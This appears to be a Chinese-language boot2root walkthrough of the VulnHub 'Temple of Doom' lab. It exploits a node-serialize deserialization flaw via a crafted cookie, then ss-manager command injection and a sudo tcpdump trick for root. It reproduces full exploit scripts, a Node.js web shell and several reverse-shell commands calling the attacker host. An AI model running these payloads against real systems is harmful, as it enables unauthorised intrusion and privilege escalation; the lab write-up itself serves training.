received via UDP request is parsed and the arguments are passed to the
"add_server" function.
The function calls "construct_command_line(manager, server);" which
returns a string from the parsed configuration.
The string gets executed at line 486 "if (system(cmd) == -1) {", so if a
configuration parameter contains "||evil command&&" within the "method"
parameter, the evil command will get executed.
The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.
Product Description
-------------------
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded
devices and low-end boxes. The ss-manager is meant to control
Shadowsocks servers for multiple users, it spawns new servers if needed.
It is a port of Shadowsocks created by @clowwindy, and maintained by
@madeye and @linusyang.
Proof of Concept
----------------
As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}
The code is executed through shadowsocks-libev/src/manager.c.
If the configuration file on the file system is manipulated, the code
would get executed as soon as a Shadowsocks instance is started from
ss-manage, as long as the malicious part of the configuration has not
been overwritten.
Workarounds
-----------
There is no workaround available, do not use ss-manage until a patch is
released.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-09-28 Issues found
2017-10-05 Vendor contacted
2017-10-09 Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11 Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12 Vendor contacted, replied to create a public issue on GitHub
2017-10-13 Created public issue on GitHub
2017-10-13 Advisory release
直接看proof of concept的部分,簡單來說,method中兩個||的中間可以任意夾指令,靶機都會幫忙執行,所以就直接夾reverse shell
[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc 192.168.18.184 3333 -e /bin/bash||"}
當然,在進行上述動作時,要先聽port:
┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 3333
[sudo] password for kali:
listening on [any] 3333 ...
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 36238
get到fireman的shell後,要先python -c 'import pty;pty.spawn("/bin/bash")'
穩定shell:
python -c 'import pty;pty.spawn("/bin/bash")'
[fireman@localhost root]$
aaa利用sudo -l
,显示出自己(执行 sudo 的使用者)的权限:
[fireman@localhost root]$ sudo -l
sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
可以發現fireman可執行tcpdump,可以用來提權:
[fireman@localhost root]$ cd /tmp
cd /tmp
[fireman@localhost tmp]$ echo "nc -e /bin/bash 192.168.18.184 7777" > shell.sh
<ho "nc -e /bin/bash 192.168.18.184 7777" > shell.sh
[fireman@localhost tmp]$ chmod
chmod
chmod: missing operand
Try 'chmod --help' for more information.
[fireman@localhost tmp]$ chmod +x shell.sh
chmod +x shell.sh
[fireman@localhost tmp]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
<th0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
12 packets received by filter
0 packets dropped by kernel
解釋一下上面的指令。首先echo "nc -e /bin/bash 192.168.18.184 7777 "> shell.sh
跟chmod +x shell.sh
很簡單,第一句先把reverse shell的指令寫進一個名叫shell的shell檔,第二句則是賦予它執行的權限。問題是第三句:
┌──(kali㉿kali)-[~]
└─$ nc -lvp 7777
listening on [any] 7777 ...
192.168.18.185: inverse host lookup failed: Unknown host
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 37588
python -c 'import pty;pty.spawn("/bin/bash")'
[root@localhost tmp]#
aaa當然,要先聽port,拿到shell後再python -c 'import pty;pty.spawn("/bin/bash")'
穩定shell。接下來就簡單了,根目錄的資料夾就有flag.txt。
[root@localhost ~]# cat flag.txt
cat flag.txt
[+] You're a soldier.
[+] One of the best that the world could set against
[+] the demonic invasion.
+-----------------------------------------------------------------------------+
| | |\ -~ / \ / |
|~~__ | \ | \/ /\ /|
| -- | \ | / \ / \ / |
| |~_| \ \___|/ \/ / |
|--__ | -- |\________________________________/~~\~~| / \ / \ |
| |~~--__ |~_|____|____|____|____|____|____|/ / \/|\ / \/ \/|
| | |~--_|__|____|____|____|____|____|_/ /| |/ \ / \ / |
|___|______|__|_||____|____|____|____|____|__[]/_|----| \/ \ / |
| \mmmm : | _|___|____|____|____|____|____|___| /\| / \ / \ |
| B :_--~~ |_|____|____|____|____|____|____| | |\/ \ / \ |
| __--P : | / / / | \ / \ /\|
|~~ | : | / ~~~ | \ / \ / |
| | |/ .-. | /\ \ / |
| | / | | |/ \ /\ |
| | / | | -_ \ / \ |
+-----------------------------------------------------------------------------+
| | /| | | 2 3 4 | /~~~~~\ | /| |_| .... ......... |
| | ~|~ | % | | | ~J~ | | ~|~ % |_| .... ......... |
| AMMO | HEALTH | 5 6 7 | \===/ | ARMOR |#| .... ......... |
+-----------------------------------------------------------------------------+
FLAG: kre0cu4jl4rzjicpo1i7z5l1
[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.
[+] You can follow me on twitter: @0katz
[+] Thanks to the homie: @Pink_P4nther
PS
要注意的是,如果沒有重新刷新網頁並出現那些錯誤訊息,就直接利用弱點做reverse shell的話,可能就根本找不到ss-manager。
第二種get shell的方式,是直接利用POC,不是自己手動用curl來推送。這裡使用的是49552。原本的49552長這樣:
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://192.168.100.133:8000/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload
string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
cookie = {'profile':base64.b64encode(string)}
try:
response = requests.get(url, cookies=cookie).text
print response
except requests.exceptions.RequestException as e:
print('Oops!')
sys.exit(1)
除了第12跟19行有change this一定要改外,還有一個地方要改:第27行。第12行改成網頁所在IP,第19行改成攻擊機的IP跟聆聽的port,第27行一部分改成{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
,具體來說程式碼如下:
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://192.168.18.185:666/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.18.184/5555 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload
string = '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT","exec": "'+code+'"}'
#change string in line 27
cookie = {'profile':base64.b64encode(string)}
try:
response = requests.get(url, cookies=cookie).text
print response
except requests.exceptions.RequestException as e:
print('Oops!')
sys.exit(1)
接下來就是在攻擊機上nc -lvp 5555
,之後再開一個cmd執行這個python檔,記得要用python 2版,就可get shell。
其實這三個POC都是針對同一個漏洞,只是做法不同。
偵查發現無可利用port或可利用目錄,但有網頁,重新整理後發現會有序列化錯誤 → 利用firefox抓包,查看request跟response(也可利用burp suit抓包) → 發現可疑cookie,利用base64解碼 → 解碼過後出現格式錯誤的資訊,為網頁重新整理後出現錯誤的原因,格式弄正確後再次推送cookie,出現使用者資訊 → 將偵查時出現的node.js、反序列化等等檢查,發現RCE弱點 → Get shell後,登入的使用者找不到弱點,但發現有另一個使用者fireman → 透過ps aux | grep fireman
指令後,發現這帳號有用過ss-manager這個程式,google後,發現可RCE → 取得fireman的shell → 用sudo -l
來查看fireman可利用程式,發現tcpdump,可提權取得root。
Vulnhub之Temple of Doom靶机详细测试过程 - Jason_huawen - 博客园
VulnHub-Temple of Doom: 1-靶机渗透学习 - FreeBuf网络安全行业门户
No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习
Vulnhub-靶机-TEMPLE OF DOOM: 1 - 皇帽讲绿帽带法技巧 - 博客园
小白的靶机VulnHub-Temple of Doom
Temple of Doom: 1 Walkthrough
Exploiting Node.js deserialization bug for Remote Code Execution | OpSecX
https://www.base64encode.org
Linux 命令 curl 的用法及参数解析 - ''竹先森゜ - 博客园
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 18:03 CST
Nmap scan report for 192.168.18.1
Host is up (0.0015s latency).
Nmap scan report for 192.168.18.3
Host is up (0.086s latency).
Nmap scan report for 192.168.18.21
Host is up (0.048s latency).
Nmap scan report for 192.168.18.184
Host is up (0.00092s latency).
Nmap scan report for 192.168.18.185
Host is up (0.0012s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.15 seconds
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.18.185
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 18:07 CST
Nmap scan report for 192.168.18.185
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 956804c7420304cd004e367ecd4f66ea (RSA)
| 256 c3065f7f17b6cbbc796b4646cc113a7d (ECDSA)
|_ 256 630c288825d5481982bbbd72c66c6850 (ED25519)
666/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/11%OT=22%CT=1%CU=40453%PV=Y%DS=2%DC=T%G=Y%TM=6395AB
OS:F9%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10D%TI=Z%II=I%TS=A)SEQ(SP=F
OS:E%GCD=1%ISR=10D%TI=Z%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11
OS:NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=712
OS:0%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)
OS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=71CF%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 0.17 ms DESKTOP-NRNV04H.mshome.net (172.26.0.1)
2 4.80 ms 192.168.18.185
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.21 seconds
只有開22跟666,先用瀏覽器到666 port去看:
如果重新整理,會到這個網頁:
把文字複製下來如下,看上圖反藍處知道可能是序列化問題
SyntaxError: Unexpected token F in JSON at position 79
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)
目錄爆破一下,但也沒什麼成果:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ gobuster dir -u http://192.168.18.185:666 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,con
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.18.185:666
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: txt,bak,old,zip,gz,con,php
[+] Timeout: 10s
===============================================================
2022/12/12 09:45:14 Starting gobuster in directory enumeration mode
===============================================================
Progress: 1764125 / 1764488 (99.98%)===============================================================
2022/12/12 10:02:02 Finished
===============================================================
真的都不行了就抓包,看看請求跟回應有沒有什麼蛛絲馬跡,這裡是firefox按F12會出現的畫面:
檔頭複製如下:
GET / HTTP/1.1
Host: 192.168.18.185:666
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"24-xWt5IUP3GfGbHraPgY5EGPpcNzA"
回應如圖,就是剛剛把網頁重新整理後出現的錯誤訊息:
可疑的就是cookie的那一串亂碼,
把cookie的值:eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
拿去base64解碼,到網站 https://www.base64decode.org :
解碼後的值如下,可以發現日期沒被雙引號括起來:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7
稍微整理一下:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
把整理過後的值再次編碼:
得到的base64如下:
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9
把這個應該正確的cookie用curl推送,可以看到有正常的回應:
└─$ curl -b 'profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9' http://192.168.18.185:666/
Hello Admin
總之,如剛剛反藍處說的,是序列化的問題,而666是node.js的框架所在,所以找一下漏洞:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ searchsploit Node.js
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution | linux/remote/45265.js
Node.JS - 'node-serialize' Remote Code Execution (2) | nodejs/webapps/49552.py
Node.JS - 'node-serialize' Remote Code Execution (3) | nodejs/webapps/50036.js
Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands | windows/remote/39218.html
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
前三個個看一下原始碼:
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ cat 45265.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
第二個:
└─$ cat 49552.py
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://192.168.100.133:8000/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload
string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
cookie = {'profile':base64.b64encode(string)}
try:
response = requests.get(url, cookies=cookie).text
print response
except requests.exceptions.RequestException as e:
print('Oops!')
sys.exit(1)
第三個:
└─$ cat 50036.js
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Date: 17.06.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941
var serialize = require('node-serialize');
var payload = {
"webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
}
serialize.unserialize(serialize.serialize(payload))
/*
# after being exploited
┌──(root@kali)-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin
*/
也可以看看這個漏洞的原理:
先拿第一個POC舉例,最重要的是這一段:
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });\n }()"}
可以改寫成如下:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
再經base64編碼:
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==
把剛剛的編碼利用curl送到cookie:
└─$ curl -b 'profile=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==' http://192.168.18.185:666/
Hello nodeadmin
剛剛只是夾了whoami,所以改成夾reverse shell,應該可以get shell:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.18.184/5555 0>&1',(e,out,err)=>{console.log(out);}); }()"}
經base64編碼,用curl推送:
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOC4xODQvNTU1NSAwPiYxJywoZSxvdXQsZXJyKT0+e2NvbnNvbGUubG9nKG91dCk7fSk7IH0oKSJ9
記得在執行curl推送前,先聽port,這一次不用穩定shell:
┌──(kali㉿kali)-[~]
└─$ nc -lvp 5555
listening on [any] 5555 ...
192.168.18.185: inverse host lookup failed: Unknown host
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 47274
bash: cannot set terminal process group (758): Inappropriate ioctl for device
bash: no job control in this shell
[nodeadmin@localhost ~]$
get shell後先看看目錄:
[nodeadmin@localhost ~]$ ls -al
ls -al
total 40
drwx------. 5 nodeadmin nodeadmin 4096 Jun 7 2018 .
drwxr-xr-x. 4 root root 4096 Jun 2 2018 ..
-rw-------. 1 nodeadmin nodeadmin 1 Jun 7 2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin 18 Mar 15 2018 .bash_logout
-rw-r--r--. 1 nodeadmin nodeadmin 193 Mar 15 2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin 231 Mar 15 2018 .bashrc
drwx------ 3 nodeadmin nodeadmin 4096 Jun 1 2018 .config
-rw------- 1 nodeadmin nodeadmin 16 Jun 3 2018 .esd_auth
drwxr-xr-x 4 nodeadmin nodeadmin 4096 Jun 3 2018 .forever
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30 2018 .web
[nodeadmin@localhost ~]$ cd /home
cd /home
[nodeadmin@localhost home]$ ls -al
ls -al
total 16
drwxr-xr-x. 4 root root 4096 Jun 2 2018 .
dr-xr-xr-x. 18 root root 4096 May 30 2018 ..
drwx------ 6 fireman fireman 4096 Jun 7 2018 fireman
drwx------. 5 nodeadmin nodeadmin 4096 Jun 7 2018 nodeadmin
可以發現有另一個使用者fireman,來查查這使用者用了什麼程式,是可以拿來提權或是切換到fireman這個使用者的:
[nodeadmin@localhost home]$ ps aux | grep fireman
ps aux | grep fireman
root 751 0.0 0.1 301464 4356 ? S 09:05 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 759 0.0 0.0 37060 3836 ? Ss 09:05 0:00 /usr/local/bin/ss-manager
nodeadm+ 919 0.0 0.0 213788 1012 ? S 09:08 0:00 grep --color=auto fireman
利用linpeas.sh的掃瞄結果:
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root 1 0.1 0.2 170776 9432 ? Ss 09:05 0:00 /usr/lib/systemd/systemd --switched-root --system --deserialize 32
root 479 0.0 0.3 124332 16308 ? Ss 09:05 0:00 /usr/lib/systemd/systemd-journald
root 499 0.0 0.1 96564 8196 ? Ss 09:05 0:00 /usr/lib/systemd/systemd-udevd
root 548 0.0 0.0 182948 2168 ? Ss 09:05 0:00 /usr/sbin/lvmetad -f -t 3600
root 586 0.0 0.0 54064 2008 ? S<sl 09:05 0:00 /sbin/auditd
root 605 0.0 0.1 417584 8444 ? Ssl 09:05 0:00 /usr/sbin/ModemManager
dbus 606 0.0 0.1 52812 4748 ? Ss 09:05 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(Caps) 0x0000000020000000=cap_audit_write
root 609 0.0 0.2 519300 10528 ? Ssl 09:05 0:00 /usr/libexec/udisks2/udisksd
rtkit 610 0.0 0.0 192964 3412 ? SNsl 09:05 0:00 /usr/libexec/rtkit-daemon
└─(Caps) 0x0000000000880004=cap_dac_read_search,cap_sys_ptrace,cap_sys_nice
root 611 0.0 0.0 9132 2036 ? Ss 09:05 0:00 /usr/sbin/mcelog --ignorenodev --daemon[0m --foreground
root 612 0.0 0.0 17472 1540 ? SNs 09:05 0:00 /usr/sbin/alsactl -s -n 19 -c -E ALSA_CONFIG_PATH=/etc/alsa/alsactl.conf --initfile=/lib/alsa/init/00main rdaemon[0m
root 614 0.0 0.1 79460 6192 ? Ss 09:05 0:00 /usr/lib/systemd/systemd-logind
avahi 650 0.0 0.0 54300 380 ? S 09:05 0:00 _ avahi-daemon: chroot helper
root 618 0.0 0.5 710552 22420 ? Ssl 09:05 0:00 /usr/sbin/rsyslogd -n
root 632 0.0 0.1 26364 4736 ? Ss 09:05 0:00 /usr/sbin/smartd -n -q never
root 634 0.0 0.3 883128 17048 ? Ssl 09:05 0:00 /usr/sbin/NetworkManager --no-daemon[0m
root 771 0.0 0.2 82768 8656 ? S 09:05 0:00 _ /sbin/dhclient -d -q -sf /usr/libexec/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-0a4eb58b-88ff-381b-9334-e0d108bbf542-eth0.lease -cf /var/lib/NetworkManager/dhclient-eth0.conf eth0
root 636 0.0 0.2 546912 10556 ? Ssl 09:05 0:00 /usr/sbin/abrtd -d -s
root 644 0.0 0.0 299692 3644 ? Ssl 09:05 0:00 /usr/sbin/gssproxy -D
chrony 652 0.0 0.0 105572 2852 ? S 09:05 0:00 /usr/sbin/chronyd
└─(Caps) 0x0000000002000400=cap_net_bind_service,cap_sys_time
polkitd 669 0.0 0.4 1751248 21496 ? Ssl 09:05 0:00 /usr/lib/polkit-1/polkitd --no-debug
root 670 0.0 0.1 79544 6504 ? Ss 09:05 0:00 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1
root 679 0.0 0.5 833624 24716 ? Ss 09:05 0:00 /usr/bin/abrt-dump-journal-oops -fxtD
root 680 0.0 0.3 768004 13520 ? Ss 09:05 0:00 /usr/bin/abrt-dump-journal-core -D -T -f -e
root 681 0.0 0.4 768004 19736 ? Ss 09:05 0:00 /usr/bin/abrt-dump-journal-xorg -fxtD
root 687 0.0 0.0 229500 3496 ? Ss 09:05 0:00 /usr/sbin/crond -n
root 701 0.0 0.1 287716 4828 ? S 09:05 0:00 _ /usr/sbin/CROND -n
root 703 0.0 0.1 287716 4828 ? S 09:05 0:00 _ /usr/sbin/CROND -n
root 688 0.0 0.0 28088 2204 ? Ss 09:05 0:00 /usr/sbin/atd -f
root 704 0.0 0.0 213528 1840 tty1 Ss+ 09:05 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root 712 0.0 0.1 87688 8292 ? Ss 09:05 0:00 /usr/lib/systemd/systemd --user
root 719 0.0 0.0 140828 2604 ? S 09:05 0:00 _ (sd-pam)
root 749 0.0 0.2 578068 11948 ? S<sl 09:05 0:00 _ /usr/bin/pulseaudio --daemonize=no
root 769 0.0 0.0 52236 3920 ? Ss 09:05 0:00 _ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
nodeadm+ 713 0.0 0.1 87656 8116 ? Ss 09:05 0:00 /usr/lib/systemd/systemd --user
nodeadm+ 720 0.0 0.0 140828 2600 ? S 09:05 0:00 _ (sd-pam)
